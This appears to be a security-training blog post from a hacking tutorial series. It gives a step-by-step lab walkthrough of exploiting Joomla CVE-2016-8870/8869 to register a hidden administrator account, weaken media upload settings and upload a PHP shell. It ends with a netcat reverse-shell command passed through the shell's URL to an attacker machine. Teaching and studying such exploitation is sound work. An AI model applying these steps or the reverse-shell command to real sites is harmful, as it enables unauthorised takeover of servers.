In the recent weeks, the entire security community has been shocked by two serious security vulnerability affecting all Joomla versions from 3.4.4 to 3.6.3: CVE-2016-8870 and CVE-2016-8869. Combining these vulnerabilities, an attacker can create a privileged user and potentially own the server hosting the Joomla webiste. In this episode, Gianni shows how to attack a Joomla site, upload a PHP shell, and get full access to the hosting server.

Tools, Scripts, and Exploits

The tools,scripts, and exploits used in this episode of #HackOnTuesday are:

Steps

  1. Take a look at the changes/patch
    1. Go to Github page and click “releases”
    2. Click 2983d19 and scroll down to see the changes from the previous version
    3. Most of the changes happens in the components/com_users/controllers/user.php component
  2. Analyze the “normal” registration process
    1. Enable “User Registration”
      1. Login with the admin/password credentials
      2. Go to System -> Global Configuration -> Users -> User Options and set “Allow User Registration” to “Yes”
    2. Create a user
      1. Go to the vulnerable Joomla website
      2. Click on “Author Login”
      3. Click on “Don’t have an account?”
      4. Enable the Burp Proxy
        1. Run the run_burp.sh script and make sure the Proxy is on.
        2. Set a proxy in Firefox
          1. Go to Edit -> Preferences -> Advances -> Network -> Settings
          2. Host: 127.0.0.1 / Port: 8080
      5. Complete the registration form and press “Register”
      6. Analyze the HTTP Request
        • The “option” parameter is the name of the Joomla component in components/
        • The “task” parameter is the name of the controller and method to be called
        • In this case, registration.register calls the UserModelRegistration.register method
          • cd components/com_users/
          • ls -l
          • vim models/registration.php
        • The UserModelRegistration.register method performs few checks and if the registration is disabled, it redirects the user to the login page! See line 114 of the controllers/registration.php file.
  3. Analyze the patch
    • The patch removes the “register” method in the “UsersControllerUser” class. The register method does not check if a user is allowed to register new users and therefore an attacker can exploit this method to create a new user even if the “Allow User Registration” option is set to “No”! In particular:
      • At line 301, the register method gets the form data.
        • $data = $this->input->post->get(user, array(), array);
      • At line 304, the register method gets the “UsersModelRegistration” model.
        • $model  = $this->getModel(‘Registration’, ‘UsersModel’);
      • At line 306, the register method gets the registration form.
        • $form = $model->getForm();
      • At line 315, the form data is validated.
        • $return = $model->validate($form, $data);
      • At line 346, the register method finalizes the registration using the register method of the “UsersModelRegistration” model.
        • $return = $model->register($data);
  4. Bypass the registration checks by calling the “register” method of the “User” controller.
    1. Switch off the “Allow User Registration” option.
    2. Get the index.php/author-login page and take note of the CSRF token
    3. Send an old HTTP request of the registration to the Burp Repeater
      • Change “jform” to “user”
      • Change “registration.register” to “user.register”
      • Change the CSRF token to the value of the hidden field in the login page.
      • Change the URL to /joomla/index.php?option=com_users&task=user.register
    4. Go back to the Admin console and look for the list of users.
  5. Create a privileged user
    1. Go to Users -> User Groups and look for the ID of the Administrator group.
    2. Add a “user[groups][]” parameter in the request and use the default group ID of the Administrators group, 7.
  6. Upload a PHP Shell
    1. Go to Content -> Media
    2. Click Options
    3. Add pht to “Legal Extensions (File Types)”
    4. Set “Restrict Uploads” and “Check MIME Types” to “No”
    5. Upload the shell.pht file
  7. Get reverse shell
    1. Start a reverse shell listener in the attacker’s machine
      • nc -lvp 4444
    2. Connect back to the attacker machine
      1. http://192.168.75.140/joomla/images/shell.pht?x=nc 192.168.75.146 4444 -e /bin/bash
    3. whoami
  8. Game Over!

 

Extra Files

The complete list of extra files follows.

shell.pht

run_burp.sh

Leave a Reply

Your email address will not be published. Required fields are marked *